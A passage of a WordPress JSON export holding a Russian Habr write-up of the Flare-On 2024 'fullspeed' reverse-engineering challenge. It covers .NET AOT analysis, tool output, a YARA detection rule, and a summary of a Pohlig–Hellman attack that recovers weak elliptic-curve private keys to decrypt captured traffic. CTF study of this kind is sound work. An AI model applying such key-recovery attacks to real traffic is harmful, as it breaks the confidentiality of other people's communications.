\u043f\u043e\u0434\u0445\u043e\u0434\u0430.<\/p>\n<h2>\u0417\u0430\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435<\/h2>\n<p>\u0412 \u0445\u043e\u0434\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u0431\u044b\u043b \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0441\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 fullspeed.exe, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u043c \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 C# \u0438 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0432 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 .NET Native AOT \u0434\u043b\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b win-x86.<br \/> \u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438 AOT-\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0438\u043b\u0438 \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 .NET-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u043b\u044f \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u0430 \u0440\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u0438\u043d\u0433\u0430 \u0431\u044b\u043b\u0438 \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u044b FLIRT-\u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b, \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0432\u0448\u0438\u0435 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u043b\u043e\u0433\u0438\u043a\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 <a href=\"https:\/\/github.com\/maxgpt03\/flareon\/blob\/main\/2024\/task7\/src\/client\/main_client.cs\" rel=\"noopener noreferrer nofollow\">fullspeed.exe<\/a>.<br \/> \u041f\u0440\u043e\u0442\u043e\u043a\u043e\u043b \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u044e \u0441 \u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0445 \u043a\u043b\u044e\u0447\u0435\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043c\u0430\u043b\u044b\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u043f\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044e \u0441 \u043f\u043e\u0440\u044f\u0434\u043a\u043e\u043c \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u0440\u0438\u0432\u043e\u0439. \u042d\u0442\u0438 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u0437\u0434\u0430\u044e\u0442 \u043f\u0440\u0435\u0434\u043f\u043e\u0441\u044b\u043b\u043a\u0438 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0430\u0442\u0430\u043a\u0438, \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u0430 \u0432 \u043c\u0430\u043b\u043e\u0439 \u043f\u043e\u0434\u0433\u0440\u0443\u043f\u043f\u0435. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0431\u044b\u043b\u0430 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0430 \u0430\u0442\u0430\u043a\u0430 \u0442\u0438\u043f\u0430 \u041f\u043e\u043b\u0438\u0433\u0430\u2013\u0425\u0435\u043b\u043b\u043c\u0430\u043d\u0430 \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0443\u044e \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043a\u0440\u0438\u0432\u0443\u044e \u0441 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0439 \u0430\u043b\u0433\u0435\u0431\u0440\u044b SageMath, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430.<br \/> \u041d\u0430 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u043a\u043b\u044e\u0447\u0435\u0439 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0438\u0437\u0432\u043b\u0435\u0447\u0451\u043d\u043d\u044b\u0435 \u0438\u0437 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0434\u0430\u043c\u043f\u0430 capture.pcapng, \u0447\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u043e\u0433\u043e \u043a\u0440\u0438\u043f\u0442\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0430.<br \/> \u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0431\u044b\u043b\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0440\u0435\u043a\u043e\u043d\u0441\u0442\u0440\u0443\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043b\u043e\u0433\u0438\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u0433\u043b\u0443\u0431\u0436\u0435 \u043f\u043e\u043d\u044f\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0443 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u0441\u0434\u0435\u043b\u0430\u043d\u043d\u044b\u0435 \u0432\u044b\u0432\u043e\u0434\u044b.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/926266\/\"> https:\/\/habr.com\/ru\/articles\/926266\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<h2>\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435<\/h2>\n<p>\u0412\u0441\u0435\u043c \u043f\u0440\u0438\u0432\u0435\u0442! \u0412 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u044f \u0445\u043e\u0442\u0435\u043b \u0431\u044b \u043f\u043e\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0441\u0432\u043e\u0438\u043c \u043f\u043e\u0434\u0445\u043e\u0434\u043e\u043c \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0441\u0435\u0434\u044c\u043c\u043e\u0433\u043e \u0437\u0430\u0434\u0430\u043d\u0438\u044f (<strong>fullspeed<\/strong>) \u0438\u0437 <strong>CTF<\/strong> <strong>Flare-On 11 2024<\/strong>. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u044f \u043d\u0435 \u0443\u0441\u043f\u0435\u043b \u0437\u0430\u0432\u0435\u0440\u0448\u0438\u0442\u044c \u0435\u0433\u043e \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u043d\u0442\u0435\u0440\u0435\u0441 \u043a \u0437\u0430\u0434\u0430\u043d\u0438\u044e \u043e\u0441\u0442\u0430\u043b\u0441\u044f, \u0438 \u044f \u0440\u0435\u0448\u0438\u043b \u0434\u043e\u0432\u0435\u0441\u0442\u0438 \u043d\u0430\u0447\u0430\u0442\u043e\u0435 \u0434\u043e \u043a\u043e\u043d\u0446\u0430 \u0438 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0432 \u0434\u0435\u0442\u0430\u043b\u044f\u0445.<\/p>\n<p>\u041f\u0440\u0438 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u2013 \u043a\u0430\u043a \u043e\u0442 \u0441\u0430\u043c\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b <a href=\"https:\/\/services.google.com\/fh\/files\/misc\/flare-on11-challenge7-fullspeed.pdf\" rel=\"noopener noreferrer nofollow\">Flare Team<\/a>, \u0442\u0430\u043a \u0438 \u043e\u0442 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u043e\u0432 (<a href=\"https:\/\/github.com\/Salt-Mc\/Flare-On\/tree\/main\/FlareOn11\/Ch07\" rel=\"noopener noreferrer nofollow\">Salt-Mc<\/a>, <a href=\"https:\/\/0xdf.gitlab.io\/flare-on-2024\/fullspeed\" rel=\"noopener noreferrer nofollow\">0xdf<\/a>, <a href=\"https:\/\/digitalwhisper.co.il\/files\/Zines\/0xA8\/DigitalWhisper168.pdf\" rel=\"noopener noreferrer nofollow\">digitalwhisper<\/a>, <a href=\"https:\/\/hshrzd.wordpress.com\/2024\/12\/09\/flare-on-11-task-7\/\" rel=\"noopener noreferrer nofollow\">hasherezade<\/a>,  <a href=\"https:\/\/blog.omroot.io\/flareon11-challenge-7-fullspeed\/\" rel=\"noopener noreferrer nofollow\">Yousuf Alhajri<\/a>, <a href=\"https:\/\/gmo-cybersecurity.com\/blog\/flare-on-11-write-up\/\" rel=\"noopener noreferrer nofollow\">SuperFashi<\/a>) \u044f \u0437\u0430\u043c\u0435\u0442\u0438\u043b, \u0447\u0442\u043e \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0430\u0441\u043f\u0435\u043a\u0442\u044b, \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435.<br \/> \u041d\u0430 \u044d\u0442\u043e\u0439 \u043e\u0441\u043d\u043e\u0432\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u0438\u0434\u0435\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u043d\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u0435, \u043f\u043e\u044d\u0442\u0430\u043f\u043d\u043e \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u043c\u043e\u043c\u0435\u043d\u0442\u044b, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c\u0438 \u043d\u0430\u0440\u0430\u0431\u043e\u0442\u043a\u0430\u043c\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 <a href=\"https:\/\/github.com\/maxgpt03\/flareon\/blob\/main\/2024\/task7\/src\/client\/main_client.cs\" rel=\"noopener noreferrer nofollow\"><strong>fullspeed.exe<\/strong><\/a>.<\/p>\n<h2>\u0417\u0430\u0434\u0430\u043d\u0438\u0435<\/h2>\n<p>\u0422\u0435\u043a\u0441\u0442 \u0437\u0430\u0434\u0430\u043d\u0438\u044f:<\/p>\n<pre><code>Has this all been far too easy? Where's the math? Where's the science? Where's the, I don't know.... cryptography? Well we don't know about any of that, but here is a little .NET binary to chew on while you discuss career changes with your life coach. <\/code><\/pre>\n<p>\u0412 \u043f\u0440\u0438\u043b\u0430\u0433\u0430\u0435\u043c\u043e\u043c \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u043c \u0430\u0440\u0445\u0438\u0432\u0435 <strong>fullspeed.7z<\/strong> \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0444\u0430\u0439\u043b\u044b:<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<th>\n<p align=\"left\">\u0418\u043c\u044f \u0444\u0430\u0439\u043b\u0430<\/p>\n<\/th>\n<th>\n<p align=\"left\">\u0420\u0430\u0437\u043c\u0435\u0440, \u0431\u0430\u0439\u0442<\/p>\n<\/th>\n<th>\n<p align=\"left\">\u0425\u0435\u0448 \u0441\u0443\u043c\u043c\u0443, SHA1<\/p>\n<\/th>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">capture.pcapng<\/p>\n<\/td>\n<td>\n<p align=\"left\">4660<\/p>\n<\/td>\n<td>\n<p align=\"left\">FDB8BBA0C73729A014B703234487FAB3E1BE635D<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">fullspeed.exe<\/p>\n<\/td>\n<td>\n<p align=\"left\">2031616<\/p>\n<\/td>\n<td>\n<p align=\"left\">168F972965A3809B20D22900E0FD75BC871F09B0<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<h2>\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u0444\u0430\u0439\u043b\u0430\u0445<\/h2>\n<h3>capture.pcapng<\/h3>\n<p>\u0424\u0430\u0439\u043b <strong>capture.pcapng<\/strong> \u2013 \u044d\u0442\u043e \u0434\u0430\u043c\u043f \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430. \u0412 \u043d\u0435\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0441\u044f \u043e\u0434\u043d\u0430 \u0441\u0435\u0442\u0435\u0432\u0430\u044f \u0441\u0435\u0441\u0441\u0438\u044f (40 \u043f\u0430\u043a\u0435\u0442\u043e\u0432), \u043c\u0435\u0436\u0434\u0443 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u043c <strong>192.168.56.101<\/strong> \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c <strong>192.168.56.103<\/strong>. \u0421\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 <strong>TCP<\/strong>, \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u0435\u043c\u044b\u0439 \u043f\u043e\u0440\u0442 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 <strong>31337<\/strong>.<\/p>\n<figure class=\"\">\n<div><figcaption>\u0424\u0430\u0439\u043b <strong>capture.pcapng<\/strong><\/figcaption><\/div>\n<\/figure>\n<h3>fullspeed.exe<\/h3>\n<p><strong>fullspeed.exe<\/strong> \u2013 \u044d\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b. \u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <a href=\"https:\/\/github.com\/horsicq\/Detect-It-Easy\" rel=\"noopener noreferrer nofollow\">DiE (Detect It Easy)<\/a> \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0435\u0433\u043e \u0441\u0431\u043e\u0440\u043a\u0435:<\/p>\n<figure class=\"\">\n<div><figcaption>\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u0444\u0430\u0439\u043b\u0435 <strong>fullspeed.exe<\/strong><\/figcaption><\/div>\n<\/figure>\n<pre><code>\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430: Windows(Vista)[AMD64, 64-\u0431\u0438\u0442\u043d\u044b\u0439, \u041a\u043e\u043d\u0441\u043e\u043b\u044c] \u041b\u0438\u043d\u043a\u043e\u0432\u0449\u0438\u043a: Microsoft Linker(14.36.33811) \u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440: Microsoft Visual C\/C++(19.36.33731)[C++] \u042f\u0437\u044b\u043a: C++ \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430: .NET Core(v6.0)[AOT] \u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442: Visual Studio(2022, v17.6) <\/code><\/pre>\n<p>\u041e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0443 <strong>.NET Core(v6.0)[AOT]<\/strong> \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f <strong>Ahead-of-Time<\/strong> \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 (<strong>.NET Native AOT<\/strong>), \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043a\u043e\u0434 \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0432 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b, \u0430 <strong>Just-In-Time<\/strong> \u0438 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432 \u0441\u0440\u0435\u0434\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0438\u0441\u043a\u043b\u044e\u0447\u0430\u044e\u0442\u0441\u044f.<br \/> \u0412\u044b\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u043c\u0438 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f:<\/p>\n<ul>\n<li>\n<p>\u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u0435\u043a\u0446\u0438\u0438 <strong>.managed<\/strong> \u2013 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043a\u043e\u0434, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0439 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u043c \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0438, \u0433\u0434\u0435 \u043f\u0430\u043c\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441\u0431\u043e\u0440\u0449\u0438\u043a\u043e\u043c \u043c\u0443\u0441\u043e\u0440\u0430;<\/p>\n<\/li>\n<li>\n<p>\u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u0435\u043a\u0446\u0438\u0438 <strong>hydrated<\/strong> \u2013 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u0443\u0434\u0443\u0442 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0435, \u0441\u0441\u044b\u043b\u043a\u0438, \u0440\u0435\u0441\u0443\u0440\u0441\u044b);<\/p>\n<\/li>\n<li>\n<p>\u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u043c\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f <strong>DotNetRuntimeDebugHeader<\/strong>.<\/p>\n<\/li>\n<\/ul>\n<p>\u041f\u0440\u0438\u043c\u0435\u0440 \u0432\u044b\u0432\u043e\u0434\u0430 \u0443\u0442\u0438\u043b\u0438\u0442\u044b <strong>dumpbin.exe<\/strong>:<\/p>\n<pre><code>dumpbin.exe fullspeed.exe Microsoft (R) COFF\/PE Dumper Version 14.43.34808.0 Copyright (C) Microsoft Corporation.  All rights reserved. Dump of file fullspeed.exe File Type: EXECUTABLE IMAGE   Summary:     10000 .data     D2000 .managed 12000 .pdata A6000 .rdata 1000 .reloc     1000 .rsrc     66000 .text     59000 hydrated <\/code><\/pre>\n<p>\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0440\u043e AOT \u043c\u043e\u0436\u043d\u043e \u0432 \u0441\u0442\u0430\u0442\u044c\u044f\u0445 <strong>Michal Strehovsky<\/strong> <a href=\"https:\/\/migeel.sk\/blog\/2023\/09\/15\/reverse-engineering-natively-compiled-dotnet-apps\/\" rel=\"noopener noreferrer nofollow\">Reverse engineering natively-compiled .NET apps<\/a> \u0438 <strong>HarfangLab<\/strong> <a href=\"https:\/\/harfanglab.io\/insidethelab\/reverse-engineering-ida-pro-aot-net\/\" rel=\"noopener noreferrer nofollow\">An introduction to reverse engineering .NET AOT applications<\/a>.<\/p>\n<p>\u0414\u043b\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 AOT-\u0444\u0430\u0439\u043b\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f <strong>YARA-\u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c<\/strong> \u0438\u0437 \u0441\u0442\u0430\u0442\u044c\u0438 <strong>HarfangLab<\/strong>:<\/p>\n<pre><code>import \"pe\" rule NET_AOT { meta: description = \"Detects .NET binaries compiled ahead of time (AOT)\" author = \"HarfangLab\" distribution = \"TLP:WHITE\" version = \"1.0\" last_modified = \"2024-01-08\" hash = \"5b922fc7e8d308a15631650549bdb00c\" condition: pe.is_pe and pe.number_of_exports == 1 and pe.exports(\"DotNetRuntimeDebugHeader\") and pe.section_index(\".managed\") &gt;= 0 } <\/code><\/pre>\n<figure class=\"\">\n<div><figcaption>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u0442\u0438\u043b\u0438\u0442\u044b <strong>Loki<\/strong><\/figcaption><\/div>\n<\/figure>\n<pre><code>FILE: fullspeed.exe SCORE: 70 TYPE: EXE SIZE: 2031616 FIRST_BYTES: 4d5a90000300000004000000ffff0000b8000000 \/ &lt;filter object at 0x0000022BA31A7D60&gt; MD5: 32df29c32770ae4c5b2814ecc589a003 SHA1: 168f972965a3809b20d22900e0fd75bc871f09b0 SHA256: 01b6d660cf72bf04cf75f7cbb4ffaffa7e2a44a48a82d3da50bbb56fe634c69e REASON_1: Yara Rule MATCH: NET_AOT SUBSCORE: 70 DESCRIPTION: Detects .NET binaries compiled ahead of time (AOT) REF: - AUTHOR: HarfangLab <\/code><\/pre>\n<h2>\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 fullspeed.exe<\/h2>\n<p>\u041f\u0440\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0435 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b 